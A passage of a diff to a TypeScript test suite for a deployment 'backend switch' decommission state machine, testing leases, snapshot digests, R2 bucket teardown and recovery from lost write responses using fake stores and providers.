+  selectedPriorSpec: DeploymentSpec = priorSpec,
+) {
+  let action: import('../src/decommission-advance.js').DecommissionAdvanceAction =
+    {
+      kind: 'start',
+    };
+  for (let index = 0; index < 64; index += 1) {
+    const result = await advanceBackendSwitchDecommission(
+      boundedOptions(
+        store,
+        provider,
+        action,
+        selectedTargetSpec,
+        selectedPriorSpec,
+      ),
+    );
+    if (result.status === 'complete') return result;
+    if (result.status === 'blocked') {
+      throw new Error('bounded switch unexpectedly blocked');
+    }
+    action = { kind: 'continue', token: result.token };
+  }
+  throw new Error('bounded switch did not converge');
+}
+
 describe('backend switch state machine', () => {
   it('composes the bridge around the byte-identical prior application graph', () => {
     const nestedPrior = {
@@ -585,6 +799,77 @@ describe('backend switch state machine', () => {
     ).toThrow(/exactly one/);
   });
 
+  it('refuses every backend-switch entry while decommission advances', async () => {
+    const cases: readonly Readonly<{
+      name: string;
+      run(
+        store: MemorySwitchStore,
+        provider: FakeSwitchProvider,
+      ): Promise<unknown>;
+    }>[] = [
+      {
+        name: 'reconcileFinalizedBackendSwitchState',
+        run: (store, provider) =>
+          reconcileFinalizedBackendSwitchState({
+            provider,
+            targetSpec,
+            target,
+            record: store.record,
+            lease: {
+              tenantTag: priorSpec.tenantTag,
+              environment: priorSpec.environment,
+              mutationLeaseTtlMs: 15 * 60_000,
+              assertOwned: async () => {},
+              renew: async () => {},
+              put: async () => {},
+              delete: async () => {},
+            },
+            clock: () => 1_000,
+          }),
+      },
+      {
+        name: 'switchPlainDeploymentToWorkersForPlatforms',
+        run: (store, provider) =>
+          switchPlainDeploymentToWorkersForPlatforms(
+            switchOptions(store, provider),
+          ),
+      },
+      {
+        name: 'rollbackBackendSwitch',
+        run: (store, provider) =>
+          rollbackBackendSwitch({
+            store,
+            provider,
+            priorSpec,
+            targetSpec,
+            secrets,
+          }),
+      },
+      {
+        name: 'finalizeBackendSwitch',
+        run: (store, provider) =>
+          finalizeBackendSwitch({ store, provider, targetSpec }),
+      },
+      {
+        name: 'decommissionBackendSwitch',
+        run: (store, provider) =>
+          decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }),
+      },
+    ];
+
+    for (const item of cases) {
+      const store = new MemorySwitchStore();
+      const provider = new FakeSwitchProvider();
+      const current = store.record;
+      store.record = decommissionAdvancingRecordFixture(current, 'ready');
+
+      await expect(item.run(store, provider), item.name).rejects.toThrow(
+        `${item.name} cannot run during an active decommission`,
+      );
+      expect(provider.calls, item.name).toEqual([]);
+    }
+  });
+
   it('persists authorization before every mutation and resumes a lost bridge response', async () => {
     const store = new MemorySwitchStore();
     const provider = new FakeSwitchProvider();
@@ -1094,18 +1379,21 @@ describe('backend switch state machine', () => {
     const completed = await switchPlainDeploymentToWorkersForPlatforms(
       switchOptions(store, provider),
     );
+    const { bridge, candidate, ...withoutBridgeOrCandidate } = completed;
+    const { candidate: _candidate, ...withoutCandidate } = completed;
     store.record = {
       ...store.record,
       backendSwitchIntent: {
-        ...completed,
-        subphase,
         ...(subphase === 'bridge-upload-authorized'
-          ? { bridge: undefined, candidate: undefined }
+          ? withoutBridgeOrCandidate
           : subphase === 'candidate-deploy-authorized'
-            ? { candidate: undefined }
-            : {}),
+            ? withoutCandidate
+            : completed),
+        subphase,
       },
     };
+    void bridge;
+    void candidate;
     provider.calls.length = 0;
 
     const decommissioned = await decommissionBackendSwitch({
@@ -1188,7 +1476,7 @@ describe('backend switch state machine', () => {
       phase: 'migrating',
       activeRelease: priorRelease,
       ...(platformOnly
-        ? { pendingRelease: undefined, migrationPriorRelease: undefined }
+        ? {}
         : {
             pendingRelease: targetRelease,
             migrationPriorRelease: priorRelease,
@@ -1502,13 +1790,6 @@ describe('backend switch state machine', () => {
     expect(store.record.phase).toBe('decommissioning');
 
     store.failAfterCommittedReleaseDelete = true;
-    await expect(
-      decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }),
-    ).rejects.toThrow(/release deletion write response lost/);
-    expect(store.intent?.decommissionSnapshot?.releases[0]?.subphase).toBe(
-      'deleted',
-    );
-
     const completed = await decommissionBackendSwitch({
       store,
       provider,
@@ -1526,22 +1807,12 @@ describe('backend switch state machine', () => {
 
   it('persists per-bucket R2 teardown across attachments, contents, partial progress, and a lost delete response', async () => {
     const resources: readonly ApplicationR2Resource[] = [
-      {
-        name: 'ARCHIVE',
-        bucketName: 'acme-archive',
-        jurisdiction: 'eu',
-        state: 'created',
-        reservationNonce: 'nonce-archive',
-        creationDate: '2026-08-11T00:00:01.000Z',
-      },
-      {
-        name: 'FILES',
-        bucketName: 'acme-files',
-        jurisdiction: 'default',
-        state: 'created',
-        reservationNonce: 'nonce-files',
-        creationDate: '2026-08-11T00:00:00.000Z',
-      },
+      switchApplicationR2Resource('ARCHIVE', 'eu', '2026-08-11T00:00:01.000Z'),
+      switchApplicationR2Resource(
+        'FILES',
+        'default',
+        '2026-08-11T00:00:00.000Z',
+      ),
     ];
     const application = {
       vars: [],
@@ -1613,20 +1884,27 @@ describe('backend switch state machine', () => {
     expect(
       completed.applicationR2Progress?.map((entry) => entry.subphase),
     ).toEqual(['deleted', 'deleted']);
+    // The terminal record carries those deletions at top level, the reading
+    // `provisionDeployment` admits a retired row against.
+    expect(
+      [...(store.record.applicationResources ?? [])]
+        .map(({ name, state }) => ({ name, state }))
+        .sort((left, right) => left.name.localeCompare(right.name)),
+    ).toEqual([
+      { name: 'ARCHIVE', state: 'deleted' },
+      { name: 'FILES', state: 'deleted' },
+    ]);
     expect(backendSwitchIntentFromUnknown(structuredClone(completed))).toEqual(
       completed,
     );
   });
 
   it('leaves backend-switch traffic and durable state unchanged when R2 evacuation fails', async () => {
-    const resource: ApplicationR2Resource = {
-      name: 'FILES',
-      bucketName: 'acme-files',
-      jurisdiction: 'default',
-      state: 'created',
-      reservationNonce: 'nonce-files',
-      creationDate: '2026-08-11T00:00:00.000Z',
-    };
+    const resource = switchApplicationR2Resource(
+      'FILES',
+      'default',
+      '2026-08-11T00:00:00.000Z',
+    );
     const store = new MemorySwitchStore();
     const provider = new FakeSwitchProvider();
     provider.r2Buckets.set(resource.bucketName, resource);
@@ -1641,6 +1919,17 @@ describe('backend switch state machine', () => {
         prior: {
           ...switched.prior,
           applicationResources: [resource],
+          application: {
+            vars: [],
+            secrets: [],
+            r2Buckets: [
+              {
+                name: resource.name,
+                bucketName: resource.bucketName,
+                jurisdiction: resource.jurisdiction,
+              },
+            ],
+          },
         },
       },
     };
@@ -1657,14 +1946,11 @@ describe('backend switch state machine', () => {
   });
 
   it('preserves the traffic-removed switch when R2 receives a late write and resumes after direct evacuation', async () => {
-    const resource: ApplicationR2Resource = {
-      name: 'FILES',
-      bucketName: 'acme-files',
-      jurisdiction: 'default',
-      state: 'created',
-      reservationNonce: 'nonce-files',
-      creationDate: '2026-08-11T00:00:00.000Z',
-    };
+    const resource = switchApplicationR2Resource(
+      'FILES',
+      'default',
+      '2026-08-11T00:00:00.000Z',
+    );
     const store = new MemorySwitchStore();
     const provider = new FakeSwitchProvider();
     provider.r2Buckets.set(resource.bucketName, resource);
@@ -1679,6 +1965,17 @@ describe('backend switch state machine', () => {
         prior: {
           ...switched.prior,
           applicationResources: [resource],
+          application: {
+            vars: [],
+            secrets: [],
+            r2Buckets: [
+              {
+                name: resource.name,
+                bucketName: resource.bucketName,
+                jurisdiction: resource.jurisdiction,
+              },
+            ],
+          },
         },
       },
     };
@@ -1714,30 +2011,62 @@ describe('backend switch state machine', () => {
 
     await expect(
       decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }),
-    ).rejects.toThrow(/traffic authorization write response lost/u);
-    expect(store.intent?.subphase).toBe('decommission-traffic-authorized');
-    expect(provider.calls).not.toContain('decommission-traffic');
+    ).resolves.toMatchObject({ subphase: 'decommissioned' });
+    expect(
+      provider.calls.filter((call) => call === 'decommission-traffic'),
+    ).toHaveLength(1);
 
-    provider.failTrafficRemovalResponseOnce = true;
+    const providerLossStore = new MemorySwitchStore();
+    const providerLoss = new FakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(providerLossStore, providerLoss),
+    );
+    providerLoss.calls.length = 0;
+    providerLoss.failTrafficRemovalResponseOnce = true;
     await expect(
-      decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }),
+      decommissionBackendSwitch({
+        store: providerLossStore,
+        provider: providerLoss,
+        priorSpec,
+        targetSpec,
+      }),
     ).rejects.toThrow(/switch traffic removal response lost/u);
-    expect(store.intent?.subphase).toBe('decommission-traffic-authorized');
-    expect(provider.switchTrafficRemoved).toBe(true);
-
-    store.failAfterCommittedTrafficRemoval = true;
+    expect(providerLossStore.intent?.subphase).toBe(
+      'decommission-traffic-authorized',
+    );
+    expect(providerLoss.switchTrafficRemoved).toBe(true);
     await expect(
-      decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }),
-    ).rejects.toThrow(/traffic removal write response lost/u);
-    expect(store.intent?.subphase).toBe('decommission-traffic-removed');
-    expect(provider.deletedReleases.size).toBe(0);
+      decommissionBackendSwitch({
+        store: providerLossStore,
+        provider: providerLoss,
+        priorSpec,
+        targetSpec,
+      }),
+    ).resolves.toMatchObject({ subphase: 'decommissioned' });
+    expect(
+      providerLoss.calls.filter((call) => call === 'decommission-traffic'),
+    ).toHaveLength(2);
 
+    const commitLossStore = new MemorySwitchStore();
+    const commitLossProvider = new FakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(commitLossStore, commitLossProvider),
+    );
+    commitLossProvider.calls.length = 0;
+    commitLossStore.failAfterCommittedTrafficRemoval = true;
     await expect(
-      decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }),
+      decommissionBackendSwitch({
+        store: commitLossStore,
+        provider: commitLossProvider,
+        priorSpec,
+        targetSpec,
+      }),
     ).resolves.toMatchObject({ subphase: 'decommissioned' });
     expect(
-      provider.calls.filter((call) => call === 'decommission-traffic'),
-    ).toHaveLength(2);
+      commitLossProvider.calls.filter(
+        (call) => call === 'decommission-traffic',
+      ),
+    ).toHaveLength(1);
   });
 
   it('blocks switch deletion on post-removal ingress drift and reasserts after operator repair', async () => {
@@ -1790,4 +2119,1623 @@ describe('backend switch state machine', () => {
       'decommission-database',
     ]);
   });
+
+  it('advances one bounded backend-switch action under one stable operation', async () => {
+    const store = new MemorySwitchStore();
+    const provider = new BoundedFakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(store, provider),
+    );
+    bindBoundedDatabase(store, provider);
+    provider.calls.length = 0;
+
+    const started = await advanceBackendSwitchDecommission(
+      boundedOptions(store, provider, { kind: 'start' }),
+    );
+    expect(started).toMatchObject({
+      status: 'pending',
+      token: { operationId: '123e4567-e89b-42d3-a456-426614174000' },
+    });
+    expect(store.record.decommissionIntent).toMatchObject({
+      revision: 0,
+      generation: 0,
+      state: 'transitioning',
+    });
+    expect(provider.calls).toEqual([]);
+
+    Object.defineProperty(provider, 'getSwitchDatabase', {
+      configurable: true,
+      value: undefined,
+    });
+    await expect(
+      advanceBackendSwitchDecommission(
+        boundedOptions(store, provider, { kind: 'start' }),
+      ),
+    ).rejects.toMatchObject({ capability: 'database-read' });
+    Reflect.deleteProperty(provider, 'getSwitchDatabase');
+
+    if (started.status !== 'pending') throw new Error('missing start token');
+    const advanced = await advanceBackendSwitchDecommission(
+      boundedOptions(store, provider, {
+        kind: 'continue',
+        token: started.token,
+      }),
+    );
+    expect(advanced.status).toBe('pending');
+    expect(provider.calls).toEqual(['decommission-traffic']);
+    expect(store.intent?.subphase).toBe('decommission-traffic-removed');
+    await expect(
+      withBackendSwitchLease(
+        store,
+        priorSpec.tenantTag,
+        priorSpec.environment,
+        Date.now,
+        (lease) => lease.put(store.intent as BackendSwitchIntent),
+      ),
+    ).rejects.toThrow(
+      'backend switch lease put requires putOwnership when a decommission shell is present',
+    );
+
+    const currentIntent = store.intent as BackendSwitchIntent;
+    const currentRecord = structuredClone(store.record);
+    const { decommissionIntent: _shell, ...shellless } = currentRecord;
+    let refusedClockCalls = 0;
+    const currentShell = currentRecord.decommissionIntent as Exclude<
+      DecommissionAdvanceIntent,
+      { readonly state: 'complete' }
+    >;
+    const withoutOuterUpdatedAt = structuredClone(currentRecord) as Partial<
+      typeof currentRecord
+    >;
+    Reflect.deleteProperty(withoutOuterUpdatedAt, 'updatedAt');
+    const withoutShellUpdatedAt = structuredClone(currentShell) as Partial<
+      typeof currentShell
+    >;
+    Reflect.deleteProperty(withoutShellUpdatedAt, 'updatedAt');
+    const placeholderCases: readonly Readonly<{
+      label: string;
+      candidate: unknown;
+      message: string;
+    }>[] = [
+      {
+        label: 'shell removal',
+        candidate: shellless,
+        message: 'backend switch decommission record is malformed',
+      },
+      {
+        label: 'transparent proxy',
+        candidate: new Proxy(currentRecord, {}),
+        message: 'backend switch decommission record is malformed',
+      },
+      {
+        label: 'missing outer placeholder',
+        candidate: withoutOuterUpdatedAt,
+        message:
+          'backend switch lease ownership timestamp placeholder is stale',
+      },
+      {
+        label: 'invalid outer placeholder',
+        candidate: { ...currentRecord, updatedAt: 'invalid' },
+        message:
+          'backend switch lease ownership timestamp placeholder is stale',
+      },
+      {
+        label: 'stale outer placeholder',
+        candidate: {
+          ...currentRecord,
+          updatedAt: '2026-08-12T23:59:59.000Z',
+        },
+        message:
+          'backend switch lease ownership timestamp placeholder is stale',
+      },
+      {
+        label: 'missing shell placeholder',
+        candidate: {
+          ...currentRecord,
+          decommissionIntent: withoutShellUpdatedAt,
+        },
+        message:
+          'backend switch lease ownership timestamp placeholder is stale',
+      },
+      {
+        label: 'invalid shell placeholder',
+        candidate: {
+          ...currentRecord,
+          decommissionIntent: { ...currentShell, updatedAt: 'invalid' },
+        },
+        message:
+          'backend switch lease ownership timestamp placeholder is stale',
+      },
+      {
+        label: 'stale shell placeholder',
+        candidate: {
+          ...currentRecord,
+          decommissionIntent: {
+            ...currentShell,
+            updatedAt: '2026-08-12T23:59:59.000Z',
+          },
+        },
+        message:
+          'backend switch lease ownership timestamp placeholder is stale',
+      },
+      {
+        label: 'both equal stale placeholders',
+        candidate: {
+          ...currentRecord,
+          updatedAt: '2026-08-12T23:59:59.000Z',
+          decommissionIntent: {
+            ...currentShell,
+            updatedAt: '2026-08-12T23:59:59.000Z',
+          },
+        },
+        message:
+          'backend switch lease ownership timestamp placeholder is stale',
+      },
+    ];
+    for (const { label, candidate, message } of placeholderCases) {
+      const getCalls = store.getCalls;
+      const putCalls = store.putCalls;
+      await expect(
+        withBackendSwitchLease(
+          store,
+          priorSpec.tenantTag,
+          priorSpec.environment,
+          () => {
+            refusedClockCalls += 1;
+            return Date.parse('2026-08-13T00:00:01.000Z');
+          },
+          (lease) =>
+            lease.putOwnership(
+              candidate as unknown as FleetRecord,
+              currentIntent,
+            ),
+        ),
+        label,
+      ).rejects.toThrow(message);
+      expect(store.getCalls - getCalls, label).toBe(1);
+      expect(store.putCalls - putCalls, label).toBe(0);
+    }
+    expect(refusedClockCalls).toBe(0);
+
+    let successClockCalls = 0;
+    let getCalls = store.getCalls;
+    let putCalls = store.putCalls;
+    await withBackendSwitchLease(
+      store,
+      priorSpec.tenantTag,
+      priorSpec.environment,
+      () => {
+        successClockCalls += 1;
+        return Date.parse('2026-08-13T00:00:01.000Z');
+      },
+      (lease) => lease.putOwnership(lease.current(), currentIntent),
+    );
+    expect(successClockCalls).toBe(1);
+    expect(store.record.updatedAt).toBe('2026-08-13T00:00:01.000Z');
+    expect(store.record.decommissionIntent?.updatedAt).toBe(
+      store.record.updatedAt,
+    );
+    expect(store.getCalls - getCalls).toBe(1);
+    expect(store.putCalls - putCalls).toBe(1);
+
+    const precommit = new Error('switch write failed before commit');
+    store.failNextPutBeforeCommit = precommit;
+    getCalls = store.getCalls;
+    putCalls = store.putCalls;
+    let observedPrecommit: unknown;
+    try {
+      await withBackendSwitchLease(
+        store,
+        priorSpec.tenantTag,
+        priorSpec.environment,
+        () => Date.parse('2026-08-13T00:00:02.000Z'),
+        (lease) => lease.putOwnership(lease.current(), currentIntent),
+      );
+    } catch (error) {
+      observedPrecommit = error;
+    }
+    expect(observedPrecommit).toBe(precommit);
+    expect(store.record.updatedAt).toBe('2026-08-13T00:00:01.000Z');
+    expect(store.getCalls - getCalls).toBe(2);
+    expect(store.putCalls - putCalls).toBe(1);
+
+    const committedResponseLoss = new Error('switch write response lost');
+    store.failNextPutAfterCommit = committedResponseLoss;
+    getCalls = store.getCalls;
+    putCalls = store.putCalls;
+    await withBackendSwitchLease(
+      store,
+      priorSpec.tenantTag,
+      priorSpec.environment,
+      () => Date.parse('2026-08-13T00:00:03.000Z'),
+      (lease) => lease.putOwnership(lease.current(), currentIntent),
+    );
+    expect(store.record.updatedAt).toBe('2026-08-13T00:00:03.000Z');
+    expect(store.getCalls - getCalls).toBe(2);
+    expect(store.putCalls - putCalls).toBe(1);
+
+    const malformedRereadLoss = new Error(
+      'switch malformed reread response lost',
+    );
+    store.failNextPutAfterCommit = malformedRereadLoss;
+    store.nextGetAfterCommittedFailure = {
+      ...store.record,
+      routeHostname: 'foreign.example.test',
+    };
+    getCalls = store.getCalls;
+    putCalls = store.putCalls;
+    let observedMalformedReread: unknown;
+    try {
+      await withBackendSwitchLease(
+        store,
+        priorSpec.tenantTag,
+        priorSpec.environment,
+        () => Date.parse('2026-08-13T00:00:04.000Z'),
+        (lease) => lease.putOwnership(lease.current(), currentIntent),
+      );
+    } catch (error) {
+      observedMalformedReread = error;
+    }
+    expect(observedMalformedReread).toEqual(
+      new Error('backend switch decommission record is malformed'),
+    );
+    expect(observedMalformedReread).not.toBe(malformedRereadLoss);
+    expect(store.getCalls - getCalls).toBe(2);
+    expect(store.putCalls - putCalls).toBe(1);
+
+    provider.blockScans = true;
+    let blocked = await advanceBackendSwitchDecommission(
+      boundedOptions(store, provider, { kind: 'start' }),
+    );
+    for (
+      let index = 0;
+      blocked.status === 'pending' && index < 32;
+      index += 1
+    ) {
+      blocked = await advanceBackendSwitchDecommission(
+        boundedOptions(store, provider, {
+          kind: 'continue',
+          token: blocked.token,
+        }),
+      );
+    }
+    expect(blocked.status).toBe('blocked');
+    let blockedCapabilityReads = 0;
+    Object.defineProperty(provider, 'getSwitchDatabase', {
+      configurable: true,
+      get() {
+        blockedCapabilityReads += 1;
+        return BoundedFakeSwitchProvider.prototype.getSwitchDatabase;
+      },
+    });
+    const repeatedBlocked = await advanceBackendSwitchDecommission(
+      boundedOptions(store, provider, { kind: 'start' }),
+    );
+    expect(repeatedBlocked.status).toBe('blocked');
+    expect(blockedCapabilityReads).toBe(1);
+
+    Object.defineProperty(provider, 'getSwitchDatabase', {
+      configurable: true,
+      value: BoundedFakeSwitchProvider.prototype.getSwitchDatabase,
+    });
+    if (blocked.status !== 'blocked') throw new Error('missing blocked token');
+    const wrongRestartTarget: DeploymentSpec = {
+      ...targetSpec,
+      modules: [
+        { name: 'worker.js', content: 'export default { changed: true }' },
+      ],
+    };
+    getCalls = store.getCalls;
+    putCalls = store.putCalls;
+    const providerCalls = provider.calls.length;
+    await expect(
+      advanceBackendSwitchDecommission(
+        boundedOptions(
+          store,
+          provider,
+          { kind: 'restart-blocked', token: blocked.token },
+          wrongRestartTarget,
+        ),
+      ),
+    ).rejects.toThrow(
+      'backend switch target decommission spec differs from durable intent',
+    );
+    expect(store.getCalls - getCalls).toBe(1);
+    expect(store.putCalls - putCalls).toBe(0);
+    expect(provider.calls).toHaveLength(providerCalls);
+  });
+
+  it('binds one immutable switch snapshot and captured entry subphase', async () => {
+    const store = new MemorySwitchStore();
+    const provider = new BoundedFakeSwitchProvider();
+    const switched = await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(store, provider),
+    );
+    bindBoundedDatabase(store, provider);
+
+    const started = await advanceBackendSwitchDecommission(
+      boundedOptions(store, provider, { kind: 'start' }),
+    );
+    if (started.status !== 'pending') throw new Error('missing start token');
+    const intent = store.intent;
+    const snapshot = intent?.decommissionSnapshot;
+    if (!intent || !snapshot) throw new Error('snapshot was not persisted');
+    expect(intent.decommissionEntrySubphase).toBe(switched.subphase);
+    expect(intent.decommissionSnapshotSha256).toBe(
+      backendSwitchDecommissionSnapshotDigest(snapshot),
+    );
+    expect(snapshot).toMatchObject({
+      prior: { ...switched.prior, databaseId: BOUNDED_DATABASE_ID },
+      restoredArtifactVersion: null,
+      entryPendingArtifactVersion: null,
+      entryPendingNamespaceIds: null,
+      providerTargetSpecDigest: switched.targetSpecDigest,
+    });
+    const routeAuthorityCase = async (
+      active: boolean,
+      mutation: 'outer-only' | 'snapshot-only' | 'outer-and-shell',
+    ) => {
+      const routeStore = new MemorySwitchStore();
+      const routeProvider = new BoundedFakeSwitchProvider();
+      await switchPlainDeploymentToWorkersForPlatforms(
+        switchOptions(routeStore, routeProvider),
+      );
+      bindBoundedDatabase(routeStore, routeProvider);
+      if (active) {
+        await advanceBackendSwitchDecommission(
+          boundedOptions(routeStore, routeProvider, { kind: 'start' }),
+        );
+      }
+      const routeIntent = routeStore.intent;
+      if (!routeIntent) throw new Error('route switch intent is missing');
+      const foreignRoute = 'foreign.example.test';
+      if (mutation === 'outer-only') {
+        routeStore.record = {
+          ...routeStore.record,
+          routeHostname: foreignRoute,
+        };
+      } else {
+        const routeSnapshot = routeIntent.decommissionSnapshot;
+        const routeShell = routeStore.record.decommissionIntent;
+        if (
+          !routeSnapshot ||
+          !routeShell ||
+          routeShell.state === 'complete' ||
+          routeShell.identity.mode.kind !== 'backend-switch'
+        ) {
+          throw new Error('active route authority is missing');
+        }
+        const changedSnapshot = {
+          ...routeSnapshot,
+          routeHostname: foreignRoute,
+        };
+        const changedSnapshotSha256 =
+          backendSwitchDecommissionSnapshotDigest(changedSnapshot);
+        const changedIntent = {
+          ...routeIntent,
+          decommissionSnapshot: changedSnapshot,
+          decommissionSnapshotSha256: changedSnapshotSha256,
+        };
+        routeStore.record = {
+          ...routeStore.record,
+          ...(mutation === 'outer-and-shell'
+            ? { routeHostname: foreignRoute }
+            : {}),
+          backendSwitchIntent: changedIntent,
+          decommissionIntent: {
+            ...routeShell,
+            identity: {
+              ...routeShell.identity,
+              record: {
+                ...routeShell.identity.record,
+                ...(mutation === 'outer-and-shell'
+                  ? { routeHostname: foreignRoute }
+                  : {}),
+              },
+              mode: {
+                ...routeShell.identity.mode,
+                decommissionSnapshotSha256: changedSnapshotSha256,
+              },
+            },
+          },
+        };
+      }
+      routeProvider.calls.length = 0;
+      const beforePutCalls = routeStore.putCalls;
+      await expect(
+        advanceBackendSwitchDecommission(
+          boundedOptions(routeStore, routeProvider, { kind: 'start' }),
+        ),
+        `${active ? 'active' : 'shellless'} ${mutation}`,
+      ).rejects.toThrow('backend switch decommission record is malformed');
+      expect(routeStore.putCalls - beforePutCalls).toBe(0);
+      expect(routeProvider.calls).toEqual([]);
+    };
+    await routeAuthorityCase(false, 'outer-only');
+    await routeAuthorityCase(true, 'outer-only');
+    await routeAuthorityCase(true, 'snapshot-only');
+    await routeAuthorityCase(true, 'outer-and-shell');
+    const changedRoutePrior = {
+      ...priorSpec,
+      routeHostname: 'foreign.example.test',
+    } satisfies DeploymentSpec;
+    const changedRouteTarget = {
+      ...targetSpec,
+      routeHostname: 'foreign.example.test',
+    } satisfies DeploymentSpec;
+    const beforeRouteSpecPutCalls = store.putCalls;
+    const beforeRouteSpecProviderCalls = provider.calls.length;
+    await expect(
+      advanceBackendSwitchDecommission(
+        boundedOptions(
+          store,
+          provider,
+          { kind: 'start' },
+          changedRouteTarget,
+          changedRoutePrior,
+        ),
+      ),
+    ).rejects.toThrow(
+      'backend switch prior decommission spec differs from durable intent',
+    );
+    expect(store.putCalls - beforeRouteSpecPutCalls).toBe(0);
+    expect(provider.calls).toHaveLength(beforeRouteSpecProviderCalls);
+    const legacyRouteStore = new MemorySwitchStore();
+    const legacyRouteProvider = new FakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(legacyRouteStore, legacyRouteProvider),
+    );
+    legacyRouteProvider.calls.length = 0;
+    const legacyRoutePutCalls = legacyRouteStore.putCalls;
+    await expect(
+      decommissionBackendSwitch({
+        store: legacyRouteStore,
+        provider: legacyRouteProvider,
+        priorSpec: changedRoutePrior,
+        targetSpec: changedRouteTarget,
+      }),
+    ).rejects.toThrow(
+      'backend switch prior decommission spec differs from durable intent',
+    );
+    expect(legacyRouteStore.putCalls - legacyRoutePutCalls).toBe(0);
+    expect(legacyRouteProvider.calls).toEqual([]);
+    const mutableProgress = {
+      ...snapshot,
+      releases: snapshot.releases.map((entry) => ({
+        ...entry,
+        subphase: 'deleted' as const,
+      })),
+    };
+    expect(backendSwitchDecommissionSnapshotDigest(mutableProgress)).toBe(
+      intent.decommissionSnapshotSha256,
+    );
+
+    for (const [label, authority] of [
+      ['empty', ''],
+      ['overbound UTF-8', 'é'.repeat(2_049)],
+    ] as const) {
+      const malformedStore = new MemorySwitchStore();
+      const malformedProvider = new BoundedFakeSwitchProvider();
+      await switchPlainDeploymentToWorkersForPlatforms(
+        switchOptions(malformedStore, malformedProvider),
+      );
+      bindBoundedDatabase(malformedStore, malformedProvider);
+      Object.defineProperty(
+        malformedProvider,
+        'databaseExportReceiptAuthority',
+        { configurable: true, value: authority },
+      );
+      await expect(
+        advanceBackendSwitchDecommission(
+          boundedOptions(malformedStore, malformedProvider, { kind: 'start' }),
+        ),
+        label,
+      ).rejects.toThrow('database export receipt capability is malformed');
+      expect(malformedStore.record.decommissionIntent, label).toBeUndefined();
+    }
+
+    const wrongSpec = {
+      ...targetSpec,
+      modules: [
+        { name: 'worker.js', content: 'export default { changed: true }' },
+      ],
+    } satisfies DeploymentSpec;
+    const wrongPriorSpec = {
+      ...priorSpec,
+      modules: [
+        { name: 'worker.js', content: 'export default { changed: true }' },
+      ],
+    } satisfies DeploymentSpec;
+    const expectAuthorityRefusal = async (input: {
+      label: string;
+      selectedStore: MemorySwitchStore;
+      selectedProvider: BoundedFakeSwitchProvider;
+      action: import('../src/decommission-advance.js').DecommissionAdvanceAction;
+      selectedPrior?: DeploymentSpec;
+      selectedTarget?: DeploymentSpec;
+      selectedCurrent?: DeploymentSpec;
+      message: string;
+    }) => {
+      const beforeGetCalls = input.selectedStore.getCalls;
+      const beforePutCalls = input.selectedStore.putCalls;
+      const beforeGeneration =
+        input.selectedStore.record.decommissionIntent?.generation;
+      const beforeProvider = {
+        calls: [...input.selectedProvider.calls],
+        scanCalls: input.selectedProvider.scanCalls,
+        receiptCalls: input.selectedProvider.receiptCalls,
+        boundedDeleteCalls: input.selectedProvider.boundedDeleteCalls,
+      };
+      let clockCalls = 0;
+      let uuidCalls = 0;
+      await expect(
+        advanceBackendSwitchDecommission({
+          ...boundedOptions(
+            input.selectedStore,
+            input.selectedProvider,
+            input.action,
+            input.selectedTarget ?? targetSpec,
+            input.selectedPrior ?? priorSpec,
+          ),
+          ...(input.selectedCurrent === undefined
+            ? {}
+            : { currentSpec: input.selectedCurrent }),
+          clock: () => {
+            clockCalls += 1;
+            return Date.parse('2026-08-13T00:00:00.000Z');
+          },
+          randomUUID: () => {
+            uuidCalls += 1;
+            return '123e4567-e89b-42d3-a456-426614174000';
+          },
+        }),
+        input.label,
+      ).rejects.toThrow(input.message);
+      expect(input.selectedStore.getCalls - beforeGetCalls, input.label).toBe(
+        1,
+      );
+      expect(input.selectedStore.putCalls - beforePutCalls, input.label).toBe(
+        0,
+      );
+      expect(
+        input.selectedStore.record.decommissionIntent?.generation,
+        input.label,
+      ).toBe(beforeGeneration);
+      expect(
+        {
+          calls: input.selectedProvider.calls,
+          scanCalls: input.selectedProvider.scanCalls,
+          receiptCalls: input.selectedProvider.receiptCalls,
+          boundedDeleteCalls: input.selectedProvider.boundedDeleteCalls,
+        },
+        input.label,
+      ).toEqual(beforeProvider);
+      expect(clockCalls, input.label).toBe(0);
+      expect(uuidCalls, input.label).toBe(0);
+    };
+    for (const [
+      label,
+      action,
+      selectedPrior,
+      selectedTarget,
+      selectedCurrent,
+      message,
+    ] of [
+      [
+        'active start prior',
+        { kind: 'start' as const },
+        wrongPriorSpec,
+        targetSpec,
+        targetSpec,
+        'backend switch prior decommission spec differs from durable intent',
+      ],
+      [
+        'active start target',
+        { kind: 'start' as const },
+        priorSpec,
+        wrongSpec,
+        targetSpec,
+        'backend switch target decommission spec differs from durable intent',
+      ],
+      [
+        'active start current',
+        { kind: 'start' as const },
+        priorSpec,
+        targetSpec,
+        wrongSpec,
+        'backend switch current decommission spec differs from durable intent',
+      ],
+      [
+        'current work prior',
+        { kind: 'continue' as const, token: started.token },
+        wrongPriorSpec,
+        targetSpec,
+        targetSpec,
+        'backend switch prior decommission spec differs from durable intent',
+      ],
+      [
+        'current work target',
+        { kind: 'continue' as const, token: started.token },
+        priorSpec,
+        wrongSpec,
+        targetSpec,
+        'backend switch target decommission spec differs from durable intent',
+      ],
+      [
+        'current work current',
+        { kind: 'continue' as const, token: started.token },
+        priorSpec,
+        targetSpec,
+        wrongSpec,
+        'backend switch current decommission spec differs from durable intent',
+      ],
+    ] as const) {
+      await expectAuthorityRefusal({
+        label,
+        selectedStore: store,
+        selectedProvider: provider,
+        action,
+        selectedPrior,
+        selectedTarget,
+        selectedCurrent,
+        message,
+      });
+    }
+
+    const priorDesiredStore = new MemorySwitchStore();
+    const priorDesiredProvider = new BoundedFakeSwitchProvider();
+    await switchPlainDeploymentToWorkersForPlatforms(
+      switchOptions(priorDesiredStore, priorDesiredProvider),
+    );
+    bindBoundedDatabase(priorDesiredStore, priorDesiredProvider);
+    priorDesiredStore.record = {
+      ...priorDesiredStore.record,
+      desiredSpecDigest: deploymentSpecDigest(priorSpec),
+    };
+    const {
+      currentSpec: _shelllessCurrentSpec,
